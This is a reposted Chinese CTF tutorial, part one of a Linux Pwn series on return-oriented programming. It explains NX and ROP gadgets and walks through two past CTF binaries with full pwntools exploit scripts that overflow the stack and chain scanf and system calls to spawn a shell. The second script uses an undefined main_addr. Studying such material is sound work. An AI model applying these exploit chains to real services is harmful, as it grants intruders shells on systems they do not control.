CTF必備技能丨Linux Pwn入門教程——ROP技術(上)


Linux Pwn入門教程系列分享如約而至,本套課程是作者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。

教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,所有環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有注釋的python腳本。

課程回顧>>

Linux Pwn入門教程第一章:環境配置

Linux Pwn入門教程第二章:棧溢出基礎

Linux Pwn入門教程第三章:ShellCode

 

教程中的題目和腳本若有使用不妥之處,歡迎各位大佬批評指正。

基於前面幾期的內容分享,小伙伴在后台給出了很多好評,同時也提出了文章篇幅縮短的建議,經調整后第四章內容分為上下兩篇,今天分享的是Linux Pwn入門教程:ROP技術(上),閱讀用時約10分鍾。

背景

在上一篇教程的《shellcode的變形》一節中,我們提到過內存頁的RWX三種屬性。顯然,如果某一頁內存沒有可寫(W)屬性,我們就無法向里面寫入代碼,如果沒有可執行(X)屬性,寫入到內存頁中的ShellCode就無法執行。

關於這個特性的實驗在此不做展開,大家可以嘗試在調試時修改EIP和read( )/scanf( )/gets( )等函數的參數來觀察操作無對應屬性內存的結果。那么我們怎么看某個ELF文件中是否有RWX內存頁呢?首先我們可以在靜態分析和調試中使用IDA的快捷鍵Ctrl + S

 

 

或者同上一篇教程中的方法,使用Pwntools自帶的checksec命令檢查程序是否帶有RWX段。當然,由於程序可能在運行中調用mprotect( ), mmap( )等函數動態修改或分配具有RWX屬性的內存頁,以上方法均可能存在誤差。

既然攻擊者們能想到在RWX段內存頁中寫入ShellCode並執行,防御者們也能想到,因此,一種名為NX位(No eXecute bit)的技術出現了。這是一種在CPU上實現的安全技術,這個位將內存頁以數據和指令兩種方式進行了分類。被標記為數據頁的內存頁(如棧和堆)上的數據無法被當成指令執行,即沒有X屬性。由於該保護方式的使用,之前直接向內存中寫入ShellCode執行的方式顯然失去了作用。因此,我們就需要學習一種著名的繞過技術——ROP(Return-Oriented Programming, 返回導向編程)

顧名思義,ROP就是使用返回指令ret連接代碼的一種技術(同理還可以使用jmp系列指令和call指令,有時候也會對應地成為JOP/COP)。一個程序中必然會存在函數,而有函數就會有ret指令。我們知道,ret指令的本質是pop eip,即把當前棧頂的內容作為內存地址進行跳轉。

而ROP就是利用棧溢出在棧上布置一系列內存地址,每個內存地址對應一個gadget,即以ret/jmp/call等指令結尾的一小段匯編指令,通過一個接一個的跳轉執行某個功能。由於這些匯編指令本來就存在於指令區,肯定可以執行,而我們在棧上寫入的只是內存地址,屬於數據,所以這種方式可以有效繞過NX保護。

使用ROP調用got表中函數

首先我們來看一個x86下的簡單ROP,我們將通過這里例子演示如何調用一個存在於got表中的函數並控制其參數。我們打開~/RedHat 2017-pwn1/pwn1。可以很明顯看到main函數存在棧溢出:

變量v1的首地址在bp-28h處,即變量在棧上,而輸入使用的__isoc99_scanf不限制長度,因此我們的過長輸入將會造成棧溢出。

 

程序開啟了NX保護,所以顯然我們不可能用shellcode打開一個shell。根據之前文章的思路,我們很容易想到要調用system函數執行system(“/bin/sh”)。那么我們從哪里可以找到system和“/bin/sh”呢?

第一個問題,我們知道使用動態鏈接的程序導入庫函數的話,我們可以在GOT表和PLT表中找到函數對應的項(稍后的文章中我們將詳細解釋)。跳轉到.got.plt段,我們發現程序里居然導入了system函數。

 

解決了第一個問題之后我們就需要考慮第二個問題。通過對程序的搜索我們沒有發現字符串“/bin/sh”,但是程序里有__isoc99_scanf,我們可以調用這個函數來讀取“/bin/sh”字符串到進程內存中。下面我們來開始構建ROP鏈。

首先我們考慮一下“/bin/sh”字符串應該放哪。通過調試時按Ctrl+S快捷鍵查看程序的內存分段,我們看到0x0804a030開始有個可讀可寫的大於8字節的地址,且該地址不受ASLR影響,我們可以考慮把字符串讀到這里。

 

 

接下來我們找到__isoc99_scanf的另一個參數“%s”,位於0x08048629

 

 

接着我們使用pwntools的功能獲取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代碼,將EIP劫持到某個函數的PLT表項中我們可以直接調用該函數。我們知道,對於x86的應用程序來說,其參數從右往左入棧。因此,現在我們就可以構建出一個ROP鏈。

`from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read( )
io.sendline(shellcode1)
io.sendline(“/bin/sh”)

通過調試我們可以看到,當EIP指向retn時,棧上的數據和我們的預想一樣,棧頂是plt表中__isoc99_scanf的首地址,緊接着是兩個參數。我們繼續跟進執行,在libc中執行一會兒之后,我們收到了一個錯誤,這是為什么呢?

我們回顧一下之前的內容。我們知道call指令會將call指令的下一條指令地址壓入棧中,當被call調用的函數運行結束后,ret指令就會取出被call指令壓入棧中的地址傳輸給EIP。

但是在這里我們繞過call直接調用了__isoc99_scanf,沒有像call指令一樣向棧壓入一個地址。此時函數認為返回地址是緊接着scanf_addr的format_s,而第一個參數就變成了binsh_addr`

call調用函數的情況

08048557 mov [esp+4], eax
0804855B mov dword ptr [esp], offset unk_8048629 
08048562 call ___isoc99_scanf 
08048567 lea eax, [esp+18h]

 

08048580 leave
08048581 retn ; pop eip
F7E22610 __isoc99_scanf:
F7E22610 push ebp
F7E22611 mov ebp, esp

從兩種調用方式的比較上我們可以看到,由於少了call指令的壓棧操作,如果我們在布置棧的時候不模擬出一個壓入棧中的地址,被調用函數的取到的參數就是錯位的。所以我們需要改良一下ROP鏈。根據上面的描述,我們應該在參數和保存的EIP中間放置一個執行完的返回地址。鑒於我們調用scanf讀取字符串后還要調用system函數,我們讓__isoc99_scanf執行完后再次返回到main函數開頭,以便於再執行一次棧溢出。改良后的ROP鏈如下:

from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf']) 
format_s = p32(0x08048629) 
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34 
shellcode1 += scanf_addr
shellcode1 += main_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”)

我們再次進行調試,發現這回成功調用__isoc99_scanf把“/bin/sh”字符串讀取到地址0x0804a030處:

 

 

此時程序再次從main函數開始執行。由於棧的狀態發生了改變,我們需要重新計算溢出的字節數。然后再次利用ROP鏈調用system執行system(“/bin/sh”),這個ROP鏈可以模仿上一個寫出來,完整的腳本也可以在對應文件夾中找到,此處不再贅述。

接下來讓我們來看看64位下如何使用ROP調用got表中的函數。我們打開文件~/bugs bunny ctf 2017-pwn150/pwn150,很容易就可以發現溢出出現在Hello( )里

和上一個例子一樣,由於程序開啟了NX保護,我們必須找到system函數和“/bin/sh”字符串。程序在main函數中調用了自己定義的一個叫today的函數,執行了system(“/bin/date”),那么system函數就有了。至於“/bin/sh”字符串,雖然程序中沒有,但是我們找到了“sh”字符串,利用這個字符串其實也可以開shell。

現在我們有了棧溢出點,有了system函數,有了字符串“sh”,可以嘗試開shell了。首先我們要解決傳參數的問題。和x86不同,在x64下通常參數從左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出來的參數才會入棧(根據調用約定的方式可能有不同,通常是這樣),因此,我們就需要一個給RDI賦值的辦法。由於我們可以控制棧,根據ROP的思想,我們需要找到的就是pop rdi; ret,前半段用於賦值rdi,后半段用於跳到其他代碼片段。

有很多工具可以幫我們找到ROP gadget,例如Pwntools自帶的ROP類,ROPgadget、rp++、ropeme等。在這里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)

通過ROPgadget --binary 指定二進制文件,使用grep在輸出的所有gadgets中尋找需要的片段。

 

這里有一個小trick。首先,我們看一下IDA中這個地址的內容。

 

 

我們可以發現並沒有0x400883這個地址,0x400882是pop r15, 接下來就是0x400884的retn,那么這個pop rdi會不會是因為ROPgadget出bug了呢?別急,我們選擇0x400882,按快捷鍵D轉換成數據。

 

然后選擇0x400883按C轉換成代碼

 

我們可以看出來pop rdi實際上是pop r15的“一部分”。這也再次驗證了匯編指令不過是一串可被解析為合法opcode的數據的別名。只要對應的數據所在內存可執行,能被轉成合法的opcode,跳轉過去都是不會有問題的。

現在我們已經准備好了所有東西,可以開始構建ROP鏈了。這回我們直接調用call system指令,省去了手動往棧上補返回地址的環節,腳本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
call_system = 0x40075f #call system指令在內存中的位置
binsh = 0x4003ef #字符串"sh"在內存中的位置
pop_rdi = 0x400883 #pop rdi; retn
payload = ""
payload += "A"*88 #padding
payload += p64(pop_rdi) 
payload += p64(binsh) #rdi指向字符串"sh"
payload += p64(call_system) #調用system執行system("sh")
io.sendline(payload)
io.interactive()

進行調試,發現開shell成功。

 

retn跳轉到0x400883處的gadget:pop rdi; ret

pop rdi將“sh”字符串所在地址0x4003ef賦值給rdi

 

retn跳轉到call system處。

以上是今天的內容,大家看懂了嗎?后面我們將持續更新Linux Pwn入門教程的相關章節,希望大家及時關注。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM